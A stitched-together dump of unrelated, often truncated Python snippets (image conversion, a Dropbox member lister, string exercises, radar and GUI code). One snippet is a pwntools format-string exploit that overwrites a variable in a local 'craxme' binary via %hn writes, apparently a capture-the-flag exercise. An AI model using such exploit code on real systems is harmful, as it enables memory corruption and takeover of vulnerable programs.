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from .builder import (build_schedule, build_lr_scheduler, build_model, build_optimizer, build_optimizer_wrapper, build_layer, build_loss, build_hooks, build_dataset, build_transform, build_data_sampler, build_gradient_handler) from .pipeline import ModelInitializer __all__ = [ 'build_schedule', 'build_lr_scheduler', 'build_model', 'build_optimizer', 'build_optimizer_wrapper', 'build_layer', 'build_loss', 'build_hooks', 'build_dataset', 'build_transform', 'build_data_sampler', 'build_gradient_handler', 'ModelInitializer' ]
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2.565789
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from outputformat.base import BaseOutput
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4.666667
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''' Created on Oct 28, 2018 @author: nilson.nieto ''' cadena = "You are Awesome " paraffin= """ You are the creator of your destiny""" print(cadena) print(paraffin) print(cadena*3) print(cadena[1:]) print(cadena[2:6:1]) print("opposite") print(cadena[::-1]) print("remove spaces") print(cadena.strip()) print("Find index 'me'") print(cadena.find("me")) print("Count appers e in",paraffin) print(">",paraffin.count("e")) print("Upper case >",cadena.upper()) print("Lower case >",cadena.lower()) print("Title >",cadena.title())
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2.549763
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"""Million Galleries Tools (c) 2012 Marc Boeren """ import os import sys import math from PIL import Image from PIL import ImageFilter #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# def list_files(directory, extlist = None, depth = -1): """Return a list of files (including relative pathnames) found in the given directory that have a match in the given extension-list. Subdirectories are included up to a given depth. The filenames do not include the base directory. Parameters: directory: base directory to start the listing in extlist: list of allowed extension, e.g. [".jpg", ".gif"] if not specified or empty: any extension is allowed depth: max. depth to descend subdirectories if not specified all subdirectories are descended into Example: filelist = tools.list_files("sourcedir", [".jpg", ".gif"]) """ dirlist = [os.path.normcase(f) for f in os.listdir(directory)] filepaths = [f for f in dirlist if os.path.isfile(os.path.join(directory, f)) and (not extlist or os.path.splitext(f)[1] in extlist)] #for p in dirlist: # if depth and os.path.isdir(os.path.join(directory, p)): # filepaths+= [os.path.join(p, f) for f in list_files(os.path.join(directory, p), extlist, depth-1)] return filepaths def convert_images(sourcedir, destdir, variations, callback = None): """Convert images from a folder plus all subfolders. The identical subfolder structure will be copied to the destination folder. The images will be sized to a max-box (i.e. aspect ratio will be preserved, image is downscaled so it fits entirely in the box (note: NO upscale!)) and saved in the destination format. Alternatively a portion of the image can be cropped, it will auto-select a maximum box from the center and scale it down to the given dimensions. Parameters: sourcedir: source directory for conversion destdir: destination directory for converted images variations: a list of different variations of each image, defined by name: append this to the original name (before the extension) crop: a tuple of width, height maxpixels: resize the image so it contains no more than the given number of pixels (width * height) Dependencies: list_files() """ filelist = list_files(sourcedir, ['.jpg',]) f = open(os.path.join(sourcedir, 'index.json'), 'w') f.write('['); sep = '' n = 0 # src.has_key('ext') and src['ext'] or None) for filepath in filelist: for variation in variations: img = None if 1: img = Image.open(os.path.join(sourcedir, filepath)) if img.mode == '1': img = img.convert("L") elif img.mode == 'L': pass img = img.convert('RGB') imgsize = img.size imgratio = 1.0 * imgsize[0]/imgsize[1] if 'crop' in variation: destratio = 1.0 * variation['crop'][0]/variation['crop'][1] if imgratio < destratio: # width bound w = variation['crop'][0] h = rounddown((1.0*w/imgsize[0])*imgsize[1]) yoffset = rounddown((h - variation['crop'][1]) / 2.0) xoffset = 0 destsize = (w, h) else: # height bound h = variation['crop'][1] w = rounddown((1.0*h/imgsize[1])*imgsize[0]) xoffset = rounddown((w - variation['crop'][0]) / 2.0) yoffset = 0 destsize = (w, h) img.thumbnail(destsize, Image.ANTIALIAS) # right scale box = (xoffset, yoffset, variation['crop'][0]+xoffset, variation['crop'][1]+yoffset) img = img.crop(box) #imgcopy = img.resize(variation['crop']) # right size canvas #print destsize, variation['crop'], img.size, imgcopy.size, box #imgcopy.paste(img, box) #img = imgcopy #img = img.filter(ImageFilter.SHARPEN) pass elif 'maxpixels' in variation: h = math.sqrt((1.0*variation['maxpixels'])/imgratio) w = imgratio * h h = rounddown(h) w = rounddown(w) destsize = (w, h) img.thumbnail(destsize, Image.ANTIALIAS) #print imgsize, variation['maxpixels'], imgratio, destsize, w*h #img = img.filter(ImageFilter.SHARPEN) pass else: # plain copy pass try: basedir, filename= os.path.split(filepath) directory = os.path.join(destdir, basedir) if not os.path.exists(directory): os.makedirs(directory) destfile = os.path.splitext(filename)[0]+variation['name']+'.jpg' img.save(os.path.join(directory, destfile)) if callback: callback(os.path.join(sourcedir, filepath), os.path.join(directory, destfile), imgsize ) except: print("Save error:", filepath) #except: # print "Open error:", filepath del img f.write(sep + '{"name":"' + os.path.splitext(filename)[0] + '", "size":[' + str(imgsize[0]) + ', ' + str(imgsize[1]) + ']}\n'); sep = ',' n+= 1 f.write(']\n'); f.write(str(n));
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2.028951
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import urllib2 import json import argparse import csv import sys reload(sys) sys.setdefaultencoding('UTF8') parser = argparse.ArgumentParser(description='Lists members on a Dropbox for Business Team') parser.add_argument( '-q', '--quota', action='store_const', const=True, default=False, dest='quota', help='Include usage quota statistics - may increase script time to completion') parser.add_argument( '-l', '--links', action='store_const', const=True, default=False, dest='links', help='Include shared link count - may increase script time to completion') parser.add_argument( '-f', '--folders', action='store_const', const=True, default=False, dest='folders', help='Include shared folder count - may increase script time to completion') args = parser.parse_args() dfbToken = raw_input('Enter your Dropbox Business API App token (Team Member File Access permission): ') # Get all DfB members, paging through results if necessary # Get a member's info (account details, quota usage) # Get a dict of groupid - group name # Get the count of shared links for the member # Get the count of shared folders for the member csvwriter = csv.writer(sys.stdout) header = ['Email', 'First Name', 'Last Name', 'Status', 'Groups'] if args.quota: header = header + ['Locale', 'Normal Usage', 'Normal Usage (bytes)', 'Team Shared Usage', 'Team Shared Usage (bytes)'] if args.links: header = header + ['Shared Links'] if args.folders: header = header + ['Shared Folders (Total)', 'Shared Folders (Owner)', 'Shared Folders (Member)'] csvwriter.writerow(header) groupMap = getGroups() for member in getDfbMembers(None): # Get the group names from the ID array groupstr = '' if 'groups' in member["profile"]: for group in member["profile"]["groups"]: if group in groupMap: if groupstr != '': groupstr = groupstr + ", " groupstr = groupstr + groupMap[group] member_row = [member["profile"]["email"], \ member["profile"]["given_name"], \ member["profile"]["surname"], \ member["profile"]["status"], groupstr] # Member info & quota if args.quota: if member["profile"]["status"] == "active": info = getMemberInfo(member["profile"]["member_id"]) member_row = member_row + [info["locale"], \ formatSize(info["quota_info"]["normal"]), \ str(info["quota_info"]["normal"]), \ formatSize(info["quota_info"]["shared"]), \ str(info["quota_info"]["shared"])] else: member_row = member_row + ['-', '-', '-', '-', '-'] # Shared links count if args.links: if member["profile"]["status"] == "active": member_row = member_row + [countSharedLinks(member["profile"]["member_id"])] else: member_row = member_row + ['-'] # Shared folder count if args.folders: if member["profile"]["status"] == "active": shares = countSharedFolders(member["profile"]["member_id"]) member_row = member_row + [shares["total"], shares["owner"], shares["member"]] else: member_row = member_row + ['-', '-', '-'] csvwriter.writerow(member_row)
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2.364005
1,478
import numpy as np from Channel import ChannelHub from Ensemble import Ensemble
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#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * p = process("craxme") magic_addr = 0x804a038 p.recvline() p.recv() payload = p32(magic_addr) payload += p32(magic_addr+2) payload += "%{}c".format(0xb00c-8) payload += "%7$hn" payload += "%{}c".format(0xface-0xb00c) payload += "%8$hn" payload += "A" p.send(payload) p.recvuntil("A") p.interactive() p.close()
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2.065217
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from .app import Fair __version__ = '0.2.0'
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2.3
20
from logging import disable from tkinter import Tk from tkinter.constants import DISABLED from tkinter.font import NORMAL from tokenize import Double from src import Anritsu_MS2830A as SPA from src import Utils import logging try: import Tkinter as tk except ImportError: import tkinter as tk try: import ttk py3 = False except ImportError: import tkinter.ttk as ttk py3 = True from tkinter import ttk
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from bot.ts.ThreadSafeTSConnection import default_exception_handler class User(): """ Class that interfaces the Teamspeak-API with user-specific calls more convenient. Since calls to the API are penalised, the class also tries to minimise those calls by only resolving properties when they are actually needed and then caching them (if sensible). """ @property @property @property @property @property
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import sys, os, pprint def normalise_path(path): """ Normalises the path with os.path.normpath and then normalise the case with os.path.normcase. """ return os.path.normcase(os.path.normpath(path)) def scanDirectory(directory = os.curdir, extension = '.py', in_here = True): """ Find the largest file with a given extension in the current working directory if in_here is true (default), else search the entire directory starting in the passed directory. """ visited = set() allsizes = [] if in_here: os.chdir(directory) allsizes = [(os.path.getsize(f), normalise_path(os.path.join(directory, f))) for f in os.listdir('.') if os.path.isfile(f)] #Get all files in the CWD with the correct extension allsizes = [(size, file) for (size, file) in allsizes if file.endswith(extension)] visited = {directory: True} #The CWD is the only directory visited else: for (thisDir, subDir, filesHere) in os.walk(directory): #walk through the subdirectories of directory, starting in directory fixcase = normalise_path(thisDir) if fixcase in visited: #if a directory has already been visited, ignore it continue else: visited.add(fixcase) for filename in filesHere: if filename.endswith(extension): path = os.path.join(thisDir, filename) try: size = os.path.getsize(path) except os.error: print('skipping', path, sys.exc_info()[0]) else: allsizes.append((size, path)) allsizes.sort() return (visited, allsizes)
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2.309019
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#!/usr/bin/python3
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2.25
8
# Creating more complex squares import turtle as t my_square() t.penup() t.setpos(-100,100) t.pencolor("lightblue") t.pendown() my_square() t.done()
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""" Created on September 18, 2015 @author: oleg-toporkov """ from datetime import datetime import logging.config import os from utilities.config import Config
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3.6
45
import json import socket import ssl from urllib.request import Request, urlopen from osbot_utils.utils.Files import save_bytes_as_file, file_size, file_bytes, file_open_bytes from osbot_utils.utils.Python_Logger import Python_Logger logger = Python_Logger('OSBot-utils').setup()
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3.097826
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import time import serial from time import sleep import numpy as np import cv2 from sys import argv from array import array import struct np.set_printoptions(linewidth=np.inf) INIT_FILE = "iwr1443_init_log_only_range" #RS232Tx/RX is for config port #AR_mss_logger is for data port RPI = 1 Main() quit() #add to the end of config file if only dynamic points needed #mmwDemo:/>clutterRemoval 1 #Done
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2.818182
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from email.message import Message from typing import ( Text ) from sifter.grammar.test import Test from sifter.grammar.state import EvaluationState # section 5.2
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"""Markdown Calendar Generator""" import calendar from datetime import datetime import sys if __name__ == "__main__": argv = sys.argv if len(argv) == 1: today = datetime.now() print_calendar(today.year, today.month) elif len(argv) == 2: year = int(argv[1]) for month in range(1, 13): print_calendar(year, month, with_isoweek=True) elif len(argv) == 3: year, month = [int(a) for a in argv[1:3]] print_calendar(year, month) else: print('Usage: python mdcal.py [year] [month]')
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# -*- encoding: utf-8 -*- import json import ovh import time from datetime import datetime, timezone import logging import sys import traceback import argparse appName = "snapshot-check" try: from systemd.journal import JournalHandler logger = logging.getLogger(appName) logger.addHandler(JournalHandler(SYSLOG_IDENTIFIER=appName)) except ImportError: logger = logging.getLogger(appName) stdout = logging.StreamHandler(sys.stdout) logger.addHandler(stdout) finally: logger.setLevel(logging.INFO) if __name__ == '__main__': try: main() except Exception as e: logger.error('An unexpected error occurred') logger.error("".join(traceback.format_exception(None,e, e.__traceback__)).replace("\n","")) sys.exit(2)
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